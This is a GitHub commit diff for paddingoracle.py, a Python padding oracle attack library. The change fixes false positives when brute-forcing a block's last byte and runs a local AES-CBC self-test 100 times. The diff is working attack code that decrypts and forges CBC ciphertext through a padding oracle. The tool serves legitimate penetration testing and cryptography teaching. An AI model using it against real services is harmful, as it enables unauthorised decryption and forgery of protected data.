Skip to content

Commit 4124102

Browse files
Merge pull request mwielgoszewski#5 from lanjelot/fix_false_positives
Fix false positives on a block's last byte
2 parents 5fc6753 + dc13446 commit 4124102

1 file changed

Lines changed: 66 additions & 50 deletions

File tree

paddingoracle.py

Lines changed: 66 additions & 50 deletions
Original file line numberDiff line numberDiff line change
@@ -160,29 +160,37 @@ def bust(self, block, block_size=8, **kwargs):
160160
:param int block_size: Cipher block size (in bytes).
161161
:returns: A bytearray containing the decrypted bytes
162162
'''
163-
intermediate_bytes = bytearray()
163+
intermediate_bytes = bytearray(block_size)
164164

165165
test_bytes = bytearray(block_size) # '\x00\x00\x00\x00...'
166166
test_bytes.extend(block)
167167

168168
self.log.debug('Processing block %r', str(block))
169169

170-
# Work on one byte at a time, starting with the last byte
171-
# and moving backwards
170+
retries = 0
171+
last_ok = 0
172+
while retries < self.max_retries:
172173

173-
for byte_num in reversed(xrange(block_size)):
174-
retries = 0
175-
successful = False
174+
# Work on one byte at a time, starting with the last byte
175+
# and moving backwards
176176

177-
# clear oracle history for each byte
177+
for byte_num in reversed(xrange(block_size)):
178178

179-
self.history = []
179+
# clear oracle history for each byte
180180

181-
# Break on first byte that returns an oracle, otherwise keep
182-
# trying until we exceed the max retry attempts (default is 3)
181+
self.history = []
183182

184-
while retries < self.max_retries and not successful:
185-
for i in reversed(xrange(256)):
183+
# Break on first value that returns an oracle, otherwise if we
184+
# don't find a good value it means we have a false positive
185+
# value for the last byte and we need to start all over again
186+
# from the last byte. We can resume where we left off for the
187+
# last byte though.
188+
189+
r = 256
190+
if byte_num == block_size - 1 and last_ok > 0:
191+
r = last_ok
192+
193+
for i in reversed(xrange(r)):
186194

187195
# Fuzz the test byte
188196

@@ -195,6 +203,10 @@ def bust(self, block, block_size=8, **kwargs):
195203
try:
196204
self.attempts += 1
197205
self.oracle(test_bytes[:], **kwargs)
206+
207+
if byte_num == block_size - 1:
208+
last_ok = i
209+
198210
except BadPaddingException:
199211

200212
# TODO
@@ -215,13 +227,11 @@ def bust(self, block, block_size=8, **kwargs):
215227
intermediate_bytes, self.__dict__)
216228
raise
217229

218-
successful = True
219-
220230
current_pad_byte = block_size - byte_num
221231
next_pad_byte = block_size - byte_num + 1
222232
decrypted_byte = test_bytes[byte_num] ^ current_pad_byte
223233

224-
intermediate_bytes.insert(0, decrypted_byte)
234+
intermediate_bytes[byte_num] = decrypted_byte
225235

226236
for k in xrange(byte_num, block_size):
227237

@@ -237,15 +247,18 @@ def bust(self, block, block_size=8, **kwargs):
237247

238248
break
239249

240-
if successful:
241-
break
242250
else:
251+
self.log.debug("byte %d not found, restarting" % byte_num)
243252
retries += 1
244253

254+
break
245255
else:
246-
raise RuntimeError('Could not decrypt byte %d in %r within '
247-
'maximum allotted retries (%d)' % (
248-
byte_num, block, self.max_retries))
256+
break
257+
258+
else:
259+
raise RuntimeError('Could not decrypt byte %d in %r within '
260+
'maximum allotted retries (%d)' % (
261+
byte_num, block, self.max_retries))
249262

250263
return intermediate_bytes
251264

@@ -284,46 +297,49 @@ def oracle(self, data):
284297

285298
padbuster = PadBuster()
286299

287-
key = os.urandom(AES.block_size)
288-
iv = bytearray(os.urandom(AES.block_size))
300+
for _ in xrange(100):
301+
key = os.urandom(AES.block_size)
302+
iv = bytearray(os.urandom(AES.block_size))
303+
304+
print "Testing padding oracle exploit in DECRYPT mode"
305+
cipher = AES.new(key, AES.MODE_CBC, str(iv))
306+
307+
data = pkcs7_pad(teststring, blklen=AES.block_size)
308+
ctext = cipher.encrypt(data)
289309

290-
print "Testing padding oracle exploit in DECRYPT mode"
291-
cipher = AES.new(key, AES.MODE_CBC, str(iv))
310+
print "Key: %r" % (key, )
311+
print "IV: %r" % (iv, )
312+
print "Plaintext: %r" % (data, )
313+
print "Ciphertext: %r" % (ctext, )
292314

293-
data = pkcs7_pad(teststring, blklen=AES.block_size)
294-
ctext = cipher.encrypt(data)
315+
decrypted = padbuster.decrypt(ctext, block_size=AES.block_size, iv=iv)
295316

296-
decrypted = padbuster.decrypt(ctext, block_size=AES.block_size, iv=iv)
317+
print "Decrypted: %r" % (str(decrypted), )
318+
print "\nRecovered in %d attempts\n" % (padbuster.attempts, )
297319

298-
print "Key: %r" % (key, )
299-
print "IV: %r" % (iv, )
300-
print "Plaintext: %r" % (data, )
301-
print "Ciphertext: %r" % (ctext, )
302-
print "Decrypted: %r" % (str(decrypted), )
303-
print "\nRecovered in %d attempts\n" % (padbuster.attempts, )
320+
assert decrypted == data, \
321+
'Decrypted data %r does not match original %r' % (
322+
decrypted, data)
304323

305-
assert decrypted == data, \
306-
'Decrypted data %r does not match original %r' % (
307-
decrypted, data)
324+
print "Testing padding oracle exploit in ENCRYPT mode"
325+
cipher2 = AES.new(key, AES.MODE_CBC, str(iv))
308326

309-
print "Testing padding oracle exploit in ENCRYPT mode"
310-
cipher2 = AES.new(key, AES.MODE_CBC, str(iv))
327+
encrypted = padbuster.encrypt(teststring, block_size=AES.block_size)
311328

312-
encrypted = padbuster.encrypt(teststring, block_size=AES.block_size)
329+
print "Key: %r" % (key, )
330+
print "IV: %r" % (iv, )
331+
print "Plaintext: %r" % (teststring, )
332+
print "Ciphertext: %r" % (str(encrypted), )
313333

314-
decrypted = cipher2.decrypt(str(encrypted))[AES.block_size:]
315-
decrypted = decrypted.rstrip(decrypted[-1])
334+
decrypted = cipher2.decrypt(str(encrypted))[AES.block_size:]
335+
decrypted = decrypted.rstrip(decrypted[-1])
316336

317-
print "Key: %r" % (key, )
318-
print "IV: %r" % (iv, )
319-
print "Plaintext: %r" % (teststring, )
320-
print "Ciphertext: %r" % (str(encrypted), )
321-
print "Decrypted: %r" % (str(decrypted), )
322-
print "\nRecovered in %d attempts" % (padbuster.attempts, )
337+
print "Decrypted: %r" % (str(decrypted), )
338+
print "\nRecovered in %d attempts" % (padbuster.attempts, )
323339

324-
assert decrypted == teststring, \
325-
'Encrypted data %r does not decrypt to %r, got %r' % (
326-
encrypted, teststring, decrypted)
340+
assert decrypted == teststring, \
341+
'Encrypted data %r does not decrypt to %r, got %r' % (
342+
encrypted, teststring, decrypted)
327343

328344

329345
if __name__ == '__main__':

0 commit comments

Comments
 (0)